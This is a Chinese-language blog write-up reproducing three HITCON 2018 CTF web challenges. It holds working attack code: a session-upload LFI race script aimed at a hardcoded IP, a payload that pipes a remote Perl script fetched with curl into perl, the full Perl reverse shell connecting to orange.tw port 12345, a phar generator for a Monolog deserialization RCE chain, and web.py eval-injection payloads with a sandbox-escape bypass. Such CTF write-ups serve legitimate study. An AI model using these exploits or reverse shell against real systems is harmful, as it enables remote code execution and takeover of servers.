Tianji's Blog.

hitcon-复现

Word count: 2,931 / Reading time: 16 min
2018/10/23 Share

Web

One Line PHP Challenge

1
2
<?php
($_=@$_GET['orange']) && @substr(file($_)[0], 0, 6) === "@<?php" ? include($_) : highlight_file(__FILE__);

参考链接:

考点: session.upload + lfi

include 策略

PHP配置中,allow_url_include一般为Off,所以RFI不可取。由于最新版本Apache2和PHP的加固,包含/proc/self/environs或者/var/log/apache2/access.log也行,同时也没有办法泄露PHP上传的文件的temporary filename,所以LFI WITH PHPINFO() ASSISTANCE无效。

session 策略

session.upload: 在ubuntu中,以apt-get安装的php,session.upload 会默认开启。

The PHP check the value session.auto_start or function session_start() to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start is Off. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data. The PHP will enable the session for you :P

PHP会检查session.auto_start或者session_start()方法来判断是否需要在请求中处理session。不幸的是session.auto_start的值默认是off。但是,有意思的是,当我们在multipart POST中提供PHP_SESSION_UPLOAD_PROGRESS的时候,PHP将会开启session

测试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tiandiwuji@tiandiwuji:~$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
tiandiwuji@tiandiwuji:~$ sudo ls -al /var/lib/php/sessions/
total 8
drwx-wx-wt 2 root root 4096 Jan 30 2018 .
drwxr-xr-x 4 root root 4096 Oct 23 11:08 ..
tiandiwuji@tiandiwuji:~$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
tiandiwuji@tiandiwuji:~$ sudo ls -al /var/lib/php/sessions/
total 8
drwx-wx-wt 2 root root 4096 Jan 30 2018 .
drwxr-xr-x 4 root root 4096 Oct 23 11:08 ..
tiandiwuji@tiandiwuji:~$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'
tiandiwuji@tiandiwuji:~$ sudo ls -l /var/lib/php/sessions/
total 0
-rw------- 1 www-data www-data 0 Oct 24 03:36 sess_iamorange

cleanup 策略

尽管互联网上大部分文档都建议将session.upload_progress.cleanup值设为Off方便调试,但是,该值在PHP中默认为On,也就是说session中保存的上传进度将会被尽快清理干净。

这里有两个解决方法:

  • 条件竞争
  • 上传超大的文件,保证短时间内上传进度不被删除

Prefix(@<?php)解决

方法一@orange:

由于session.upload_progress_prefix的默认为upload_progress_,所以session文件的开头将默认为upload_progress_

为了能够让字符串匹配@<?php,可以采用PHP strem filter来绕过前缀检查。

base64_decode: 该方法会忽略无效的字符,测试如下:

1
2
3
4
5
6
7
8
php > echo base64_decode("upload_progress_ZZVVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy");
hik
޲YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2
php > echo base64_decode(base64_decode("upload_progress_ZZVVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy"));
)↑QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v
php > echo base64_decode(base64_decode(base64_decode("upload_progress_ZZVVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy")));
@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
@<?php echo `ls -al`;echo "hetaonihao";?>/////////////

本地测试:

1
2
php > echo base64_encode(base64_encode(base64_encode("@<?php echo `ls -al`;?>//")));
VVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIZUhwSlF6Rm9Za2RCTjFCNk5IWk1kejA5

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

#payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'

#while 1:
# junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
# x = b64encode(payload + junk)
# xx = b64encode(b64encode(payload + junk))
# xxx = b64encode(b64encode(b64encode(payload + junk)))
# if '=' not in x and '=' not in xx and '=' not in xxx:
# payload = xxx
# print payload
# break

# 我的修改,不管payload怎么变,长度如果和下边这个payload一样长,那么就不需要在填充字符串了,否则的话,需要在payload后边填充字符串,保证每次b64encode该payload之后,不会出现`=`,如果出现的话,会有问题
payload = '@<?php echo `ls -al`;echo "hetaonihao";?>/////////////'

payload = b64encode(b64encode(b64encode(payload)))
print payload

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print [c]


if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

# 开启两个窗口
# python solve.py 1
# python solve.py 2

附: orange.tw/w/bc.pl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target="orange.tw";
$port=12345;
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

baby cake

查看composer.json

1
2
3
4
5
6
7
"php": ">=5.6",
"cakephp/cakephp": "3.5.*",
"cakephp/migrations": "^1.0",
"cakephp/plugin-installer": "^1.0",
"josegonzalez/dotenv": "2.*",
"mobiledetect/mobiledetectlib": "2.*",
"monolog/monolog": "^1.23"

monolog版本过低,存在反序列化rce漏洞。

漏洞寻找

针对header的序列化以及反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

由于$headers变量是一个数组,所以在序列化之后,在反序列化,仍然得到的是一个数组,至于具体内容则不会触发反序列化,因而不存在漏洞。

body

1
2
3
4
5
6
7
8
9
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

查看httpclient方法:

1
2
3
4
5
6
7
8
9
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

跟进Client里边的方法:

1
2
3
4
5
6
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);
return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}

跟进_doRequest方法:

1
2
3
4
5
6
7
8
9
10
protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);
return $this->send($request, $options);
}

_createRequest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function _createRequest($method, $url, $data, $options)
{
$headers = isset($options['headers']) ? (array)$options['headers'] : [];
if (isset($options['type'])) {
$headers = array_merge($headers, $this->_typeHeaders($options['type']));
}
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}

/*重点*/$request = new Request($url, $method, $headers, $data);
$cookies = isset($options['cookies']) ? $options['cookies'] : [];
/** @var \Cake\Http\Client\Request $request */
$request = $this->_cookies->addToRequest($request, $cookies);
if (isset($options['auth'])) {
$request = $this->_addAuthentication($request, $options);
}
if (isset($options['proxy'])) {
$request = $this->_addProxy($request, $options);
}

return $request;
}

跟进Request类:

1
2
3
4
5
6
7
8
9
10
11
12
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

跟进body方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();

return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;

return $this;
}

如果$body是数组的话,

1
$formData->addMany($body);

跟进addMany方法:

data来源: data = $request->getQuery('data');

1
2
3
4
5
6
7
8
public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}

return $this;
}

跟进add方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

在该方法中,我们可以看到如果字符串以@符号开头的话,那么就会调用addfile方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function addFile($name, $value)
{
$this->_hasFile = true;

$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}

最终,在addfile方法中会调用$content = file_get_contents($value);方法。$value可控。

构造payload:

rce

构造phar文件,通过get请求缓存,保存到 body.cache 中,在通过POST请求 body.cache,通过file_get_contents触发发序列化monolog类,最终rce。

生成phar文件payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

namespace MonologHandler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}

namespace{
$cmd = "ls -alt";

$obj = new MonologHandlerSyslogUdpHandler(
new MonologHandlerBufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}

On my Raddit V2

V1是个Crypto,兴趣不大。直接复现V2.

参考链接: https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/

该网站使用web.py框架,根据requirements.txt可以知道版本号是0.38

web.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'


urls = (
'/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')


def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length

cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')

def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}

def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''

records.append( tmp )
return records

def get_urls():
urls = []
for i in [10, 100, 1000]:
data = {
'm': 'p',
'l': i
}
urls.append( encrypt(urllib.urlencode(data)) )
return urls

class index:
def GET(self):
s = web.input().get('s')
if not s:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
else:
s = decrypt(s)
method = s.get('m', '')
if method and method not in list('rdp'):
return 'param error'
if method == 'r':
uid = s.get('u')
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
if record:
raise web.seeother(record.url)
else:
return 'not found'
elif method == 'd':
file = s.get('f')
if not os.path.exists(file):
return 'not found'
name = os.path.basename(file)
web.header('Content-Disposition', 'attachment; filename=%s' % name)
web.header('Content-Type', 'application/pdf')
with open(file, 'rb') as fp:
data = fp.read()
return data
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())


if __name__ == "__main__":
app.run()

问题出在Web.py的db部分,可能让用户注入代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def reparam(string_, dictionary):
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.

>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')

在web.py中get_posts方法中,db.select 会调用上边的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''

records.append( tmp )
return records

limit可控,构造payload如下:

1
{'m':'p','l':'$__import__("os").system("ls > /tmp/ls.txt")'}

该payload已被修复,但是依然可以绕过:

1
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("ls -al / > /tmp/1.txt"))()}'}

然后,下载 1.txt 即可。

CATALOG
  1. 1. Web
    1. 1.1. One Line PHP Challenge
      1. 1.1.1. include 策略
        1. 1.1.1.1. session 策略
      2. 1.1.2. cleanup 策略
      3. 1.1.3. Prefix(@<?php)解决
      4. 1.1.4. 方法一@orange:
      5. 1.1.5. 附: orange.tw/w/bc.pl
    2. 1.2. baby cake
      1. 1.2.1. 查看composer.json
      2. 1.2.2. 漏洞寻找
        1. 1.2.2.1. 针对header的序列化以及反序列化
        2. 1.2.2.2. body
      3. 1.2.3. rce
    3. 1.3. On my Raddit V2